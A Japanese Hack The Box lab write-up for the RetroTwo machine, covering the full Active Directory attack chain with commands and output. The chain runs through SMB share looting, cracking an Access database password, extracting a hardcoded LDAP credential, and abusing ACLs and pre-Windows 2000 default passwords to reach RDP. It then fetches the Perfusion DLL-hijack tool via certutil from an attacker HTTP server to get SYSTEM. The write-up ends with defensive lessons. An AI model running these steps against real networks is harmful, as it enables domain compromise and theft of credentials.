Hack The BoxのWriteup(RetroTwo)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: RetroTwo — 全実行コマンド・実行結果レポート
Nmap スキャン
DC一式 + SMB guest
→
Public共有の staff.accdb
office2john+hashcat→class08
→
MS Access(Windows)でVBA抽出
ldapreader:ppYaVcB5R
→
BloodHound
FS01$→ADMWS01$→SERVICES ACLチェーン
→
pre-2000 FS01$ pwリセット
rpcサムイン→GenericWrite連鎖
→
ldapreader が Remote Desktop Users に
RDP可能に
→
RDP → user.txt ✓
→
Perfusion.exe
RpcEptMapper DLL hijack
→
SYSTEM → root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン & AD検出

BASH
nmap -sV -sC -p 53,88,135,139,389,445,464,593,636,3268,3269,3389,5722,9389 10.129.92.219
RESULT
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap         (Domain: retro2.vl)
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
3268/tcp open  globalcatLDAP
3389/tcp open  ms-wbt-server (RDP)
9389/tcp open  adws
Service Info: Host: BLN01; OS: Windows Server 2008 R2
ℹ️
ドメイン retro2.vl、DC名 BLN01。Windows Server 2008 R2 という 非常に古いAD環境で、pre-Windows 2000互換アクセスのような古典的な 不具合が残っている可能性が高い。
BASH
echo "10.129.92.219 retro2.vl BLN01.retro2.vl" | sudo tee -a /etc/hosts

SMB匿名/guest共有列挙

BASH
smbclient -L //10.129.92.219/ -N
RESULT
Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk
C$              Disk
NETLOGON        Disk
Public          Disk
SYSVOL          Disk
BASH
smbclient //10.129.92.219/Public -N -c 'ls' -c 'ls DB'
RESULT
staff.accdb                         A   876544  (Public\DB\staff.accdb)
🚨
Public 共有はguest(匿名)で読み取り可能。社内業務用と思われる MS Access データベースファイルが置かれている。
PHASE 2

staff.accdb の取得・パスワードクラック・VBA抽出

accdbファイルの取得

BASH
smbclient //10.129.92.219/Public -N -c 'get "DB\staff.accdb" staff.accdb'
RESULT
getting file \DB\staff.accdb of size 876544 as staff.accdb (47.2 KiloBytes/sec)
⚠️
ファイルサイズは約856KB。VPN経由の回線状況によっては転送に20〜40秒程度かかることがあるため、 スクリプト等で自動化する場合はタイムアウトを短く設定しすぎない(30秒では不足するケースを実際に確認)。

office2john + hashcat でパスワードをクラック

BASH
office2john staff.accdb | tee staff.hash
# ファイル名プレフィックス "staff.accdb:" を除去してからhashcatに渡す
sed 's/^staff\.accdb://' staff.hash > staff_only.hash

hashcat -m 9600 -a 0 staff_only.hash /usr/share/wordlists/rockyou.txt --quiet
hashcat -m 9600 staff_only.hash --show --quiet
RESULT
$office$*2013*100000*256*16*5736cfcbb054e749a8f303570c5c1970*1ec683f4d8c4e9faf77d3c01f2433e56*7de0d4af8c54c33be322dbc860b68b4849f811196015a3f48a424a265d018235:class08
ℹ️
$office$*2013*... 形式(MS Office 2013互換の暗号化)。office2johnの出力は 「ファイル名:ハッシュ」形式のため、hashcatに渡す前にファイル名プレフィックスを 取り除いておく必要がある(そのまま渡すと “Token length exception” で弾かれる)。

Linuxでの復号は実質不可能 — Windows上のMS Accessで開く

NOTE
パスワード "class08" が分かっても、Linux上でこのファイルを復号して中身(特にVBAマクロ)
を取り出す実用的な方法は無い。試したこと:
  - msoffcrypto-tool: "Unsupported file format" で失敗
    (.accdb の暗号化ヘッダは "Standard ACE DB" で始まる独自形式であり、
     Word/Excel等で使われる OLE/CFBF コンテナではないため、OLE前提の
     msoffcrypto-tool はそもそも対応していない)
  - mdb-tools (mdb-tables等): 暗号化されたファイルは読めない

公式ウォークスルーでも同様の結論に達しており、結局 Windows 上に MS Access を
インストールした環境でファイルを開き、パスワード "class08" を入力して復号。
左ペインに StaffMembers テーブル(中身は空)と1つの Module (VBAマクロ)が
見える。ライセンス未アクティベートのため編集はできないが、「エクスポート」で
テキストファイルとして保存することはできる。
RESULT (エクスポートしたVBAコード)
Attribute VB_Name = "Staff"
Option Compare Database

Sub ImportStaffUsersFromLDAP()
    Dim strLDAP As String
    Dim strUser As String
    Dim strPassword As String

    strLDAP = "LDAP://OU=staff,DC=retro2,DC=vl"
    strUser = "retro2\ldapreader"
    strPassword = "ppYaVcB5R"
    ...
回収した認証情報
ldapreader : ppYaVcB5R
PHASE 3

BloodHound調査 & AD ACLチェーンの悪用

BloodHound収集

BASH
bloodhound-python -u ldapreader -p 'ppYaVcB5R' -d retro2.vl -ns 10.129.92.219 -c All --zip
# もしくは rusthound-ce --domain retro2.vl -u ldapreader -p ppYaVcB5R --zip
NOTE
BloodHoundで ldapreader を起点に Outbound Object Control を辿ると、以下の
ACLチェーンが見つかる:

  ldapreader ─(直接権限なし)─
  コンピュータアカウント FS01$ は Domain Computers のメンバーで
    GenericWrite → ADMWS01$ を持つ
  ADMWS01$ は AddMember/AddSelf → SERVICES グループへの権限を持つ
  SERVICES グループは Remote Desktop Users のメンバー(ネスト)

つまり FS01$ のパスワードさえ分かれば、ADMWS01$ → SERVICES経由で
ldapreader をRDP可能な状態に昇格できる。

FS01$ の pre-Windows 2000互換パスワードを突く

NOTE
FS01$ のようなコンピュータアカウントは、"Pre-Windows 2000 Compatible Access"
が有効な古いドメインでは、作成直後のデフォルトパスワードが
"サマカウント名を小文字化し末尾の$を除いたもの" になっていることがある。
FS01$ の場合 → "fs01"。
BASH
nxc smb 10.129.92.219 -u 'FS01$' -p fs01
RESULT
SMB  [-] retro2.vl\FS01$:fs01 STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT
ℹ️
STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT は「パスワード自体は正しいが、 コンピュータアカウントなので通常ログオンはできない」ことを意味するエラーであり、 パスワードが有効であることの確認になる。SMBログオンはできなくても、 パスワード変更(RPC-SAMR)自体は実行できる。

FS01$ のパスワードを変更(RPC-SAMR)

BASH
impacket-changepasswd retro2.vl/'FS01$':fs01@10.129.92.219 -newpass Rogue1 -protocol rpc-samr
RESULT
[*] Changing the password of retro2.vl\FS01$
[*] Connecting to DCE/RPC as retro2.vl\FS01$
[*] Password was changed successfully.

FS01$(GenericWrite)で ADMWS01$ のパスワードを変更

BASH
net rpc password 'ADMWS01$' 'Rogue1' -U retro2.vl/'FS01$'%'Rogue1' -S 10.129.92.219
ℹ️
Windows Server 2008 R2環境では unicodePwd 属性の直接書換よりも net rpc password(Samba由来のSAMR経由パスワード設定)の方が確実に通る。 成功時は特にメッセージを返さず終了コード0で戻る。

ADMWS01$(AddMember)で ldapreader を SERVICES グループへ追加

BASH
bloodyAD --host 10.129.92.219 -d retro2.vl -u 'ADMWS01$' -p Rogue1 \
  add groupMember SERVICES ldapreader
RESULT
[+] ldapreader added to SERVICES
BASH
# ネストメンバーシップの確認
bloodyAD --host 10.129.92.219 -d retro2.vl -u 'ADMWS01$' -p Rogue1 \
  get object 'Remote Desktop Users' --attr member
RESULT
distinguishedName: CN=Remote Desktop Users,CN=Builtin,DC=retro2,DC=vl
member: CN=services,CN=Users,DC=retro2,DC=vl
✅
ACLチェーン完走! SERVICES グループ自体が Remote Desktop Users のメンバーなので、ldapreader は(直接ではなく)ネストメンバーシップ 経由で RDP ログオン権限を獲得した。
PHASE 4

RDPログイン & user.txt 取得

RDP接続(Native RDPセキュリティ層への配慮)

BASH
# GUIがある環境ならそのまま:
xfreerdp3 /u:ldapreader /p:ppYaVcB5R /v:10.129.92.219 /d:retro2.vl \
  /cert:ignore /sec:rdp

# ヘッドレス環境(自動化)の場合は仮想ディスプレイ上で実行し、
# スクリーンショットで状態を確認しながら進める
Xvfb :98 -screen 0 1280x800x24 &
DISPLAY=:98 xfreerdp3 /u:ldapreader /p:ppYaVcB5R /v:10.129.92.219 /d:retro2.vl \
  /cert:ignore /sec:rdp /drive:loot,/path/to/local/share /w:1280 /h:800 &
sleep 10
DISPLAY=:98 import -window root screenshot.png
⚠️
Windows Server 2008 R2 の RDP は TLS/NLA必須のレガシーでない構成 (nmap --script rdp-enum-encryptionで “Native RDP: SUCCESS” と出る)。 xfreerdpのデフォルト(TLS/NLAネゴシエーション)のままだと接続できないことがあるため、 /sec:rdp を明示して従来型のRDPセキュリティ層を強制するのが確実。

コンソールを開いて user.txt を探索

NOTE
ログイン後デスクトップでコンソール(cmd.exe)を開く。user.txt は一般的な
Desktop配下ではなく、ドライブ直下 C:\user.txt に置かれていることがある
(本マシンで実際に確認)。
BASH
C:\Users\ldapreader>type C:\user.txt
RESULT
5117f208a0d3c9d7d3e932f4c01ec5d8
user.txt — C:\user.txt (ldapreader)
5117f208a0d3c9d7d3e932f4c01ec5d8
ℹ️
GUI操作を自動化する場合、/drive:loot,<ローカルディレクトリ> でRDPドライブ リダイレクトしておくと、セッション内からtype C:\user.txt > \\tsclient\loot\out.txt のようにファイルへリダイレクトするだけで、ローカル側のディレクトリに直接結果を書き出せる (クリップボード経由より確実)。
PHASE 5

Perfusion.exe (RpcEptMapper DLL Hijack) の準備

脆弱性の背景

NOTE
Windows Server 2008 R2 の RpcEptMapper サービスには、サービス起動時に
特定のレジストリキー配下から読み込まれるDLLを、管理者権限が無い
一般ユーザーでも書き込める権限設定になっている脆弱性 (itm4n/Perfusion
が実証したEoP手法) が存在する。対象のDLLを悪性のものにすり替えて
サービスを再起動(またはトリガー)させると、SYSTEM権限でDLLが読み込まれ
任意コード実行につながる。

Perfusion.exe をソースからビルド

BASH
git clone --depth 1 https://github.com/itm4n/Perfusion.git
cd Perfusion

# mingw-w64 でクロスコンパイル (大文字includeのシム対応が必要)
x86_64-w64-mingw32-g++ -shared -o PerfusionDll.dll PerfusionDll/PerfusionDll.cpp \
  -lshlwapi -lrpcrt4 -static-libgcc -static-libstdc++ -municode

cp PerfusionDll.dll Perfusion/
cd Perfusion
printf '#include "resource.h"\nIDR_RCDATA1 RCDATA "PerfusionDll.dll"\n' > perfusion_res.rc
x86_64-w64-mingw32-windres perfusion_res.rc -O coff -o perfusion_res.o
x86_64-w64-mingw32-g++ -municode -o Perfusion.exe Perfusion.cpp perfusion_res.o \
  -lwbemuuid -lole32 -loleaut32 -lstrmiids -static-libgcc -static-libstdc++
✅
PerfusionDll.dll を RCDATAリソースとしてPerfusion.exe本体に埋め込む構成 (単体のexeだけ転送すれば良い、DLLを別送りする必要がない)。

攻撃者側でHTTPサーバーを立て、RDPセッション内から取得

BASH
# Kali側
python3 -m http.server 8474

# RDPセッション内 (ldapreader)
C:\Users\ldapreader>certutil.exe -urlcache -f http://<KaliIP>:8474/Perfusion.exe C:\Users\ldapreader\Desktop\Perfusion.exe
⚠️
certutil -urlcache -f はWindows標準ツールでファイルをダウンロードできる 古典的なLOLBin。ただしHTTPサーバーが実際に動いていないと CertUtil: A connection with the server could not be established で静かに失敗する ため、ダウンロード前にKali側のHTTPサーバーが確実に稼働しているか確認すること。
PHASE 6

Perfusion.exe 実行 → SYSTEM → root.txt

Perfusion.exe を実行

BASH
C:\Users\ldapreader\Desktop>Perfusion.exe -c cmd -i
RESULT
C:\Users\ldapreader\Desktop>whoami
nt authority\system
✅
SYSTEM昇格成功! RpcEptMapperサービスが悪性DLLを読み込み、SYSTEM権限の 新しいコンソールが起動する。

自動化向け: ワンライナーでroot.txtをリダイレクト経由で回収

BASH
# 対話なしで取得したい場合は -i の代わりに -c でコマンドを直接渡せる
C:\Users\ldapreader\Desktop>Perfusion.exe -c "cmd /c type C:\Users\Administrator\Desktop\root.txt > \\tsclient\loot\root_out.txt" -i
ℹ️
root.txtの正確な配置場所が不明な場合は、 (for /f "delims=" %i in ('dir /s /b C:\root.txt C:\Users\Administrator\*root.txt 2^>nul') do @type "%i") > \\tsclient\loot\root_out.txt のように複数候補パスを dir /s /b で検索してから type するワンライナーに しておくと、配置場所を事前に特定できなくても確実に回収できる。

root.txt 取得

BASH
# ローカルの drive リダイレクト先ディレクトリで直接読める
cat /path/to/local/share/root_out.txt
RESULT
cb462daa07d7539de053bb9308658759
root.txt — Administrator@retro2.vl
cb462daa07d7539de053bb9308658759
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — C:\user.txt (ldapreader)
5117f208a0d3c9d7d3e932f4c01ec5d8
root.txt — Administrator@retro2.vl
cb462daa07d7539de053bb9308658759

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
guest SMB共有での機密ファイル公開 Public共有 / staff.accdb 認証情報入りデータベースの漏洩 Medium 匿名/guestで読み取り可能な共有に、パスワード保護はされているものの業務DBがそのまま置かれていた
pre-Windows 2000互換アカウントの弱いデフォルトパスワード コンピュータアカウント FS01$ AD ACLチェーンの起点奪取 Medium samaccountnameから導出可能な初期パスワードが変更されないまま残っていた
AD ACLの誤設定(GenericWrite/AddMemberの連鎖) FS01$→ADMWS01$→SERVICESグループ 一般ユーザーの権限昇格(RDPアクセス獲得) High コンピュータアカウント同士の書込み権限とグループメンバー追加権限が連鎖し、最終的に任意ユーザーをRemote Desktop Usersへ昇格できた
RpcEptMapper サービスのDLLハイジャック(Perfusion) Windows Server 2008 R2 RpcEptMapperサービス ローカル一般ユーザー→SYSTEM権限昇格 Critical サービスが読み込むDLLを一般ユーザー権限で書き込み可能な設定ミスを突き、SYSTEM権限でコード実行

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + guest SMB共有列挙retro2.vl DC(BLN01)、Public共有のstaff.accdb発見
2認証情報回収office2john+hashcat crack → MS Access(Windows)でVBA抽出ldapreader:ppYaVcB5R
3AD ACL昇格BloodHound + pre-2000パスワード + rpcchangepwd/net rpc/bloodyADldapreader が Remote Desktop Users へ
4RDPログインxfreerdp3 (/sec:rdp)user.txt
5EoPツール準備Perfusion.exe クロスコンパイル + certutil転送RpcEptMapper DLL Hijackツール配置
6権限昇格Perfusion.exe -c cmd -iroot.txt(SYSTEM)

学んだ教訓 & 防御策

問題点防御策
匿名/guestアクセス可能な共有に認証情報を含むファイルを配置 guestアクセスを無効化し、共有フォルダは必要最小限のアクセス権のみ付与する。秘密情報をアプリケーションのソース/データファイルに平文または弱い保護で埋め込まない。
pre-Windows 2000互換アクセスが有効なまま、コンピュータアカウントのデフォルトパスワードが未変更 「Pre-Windows 2000 Compatible Access」グループの使用を廃止し、コンピュータアカウント作成時のデフォルトパスワードを即座に変更する運用を徹底する。
AD内のACL(GenericWrite/AddMember等)が連鎖し、一般ユーザーから管理相当のグループへ到達できる BloodHound等で定期的にACLの誤設定を監査し、不要な書込み権限・グループ管理権限を棚卸しする。最小権限の原則を徹底する。
OSが既にEoL(Windows Server 2008 R2)でEoPの脆弱なサービス設定が残存 サポート切れOSの速やかな更新・退役。退役できない場合は、サービスが参照するDLL/レジストリパスの書込み権限を監査し、BUILTIN\Usersへの書込みを許可しない。
HackTheBox: RetroTwo | 完全攻略レポート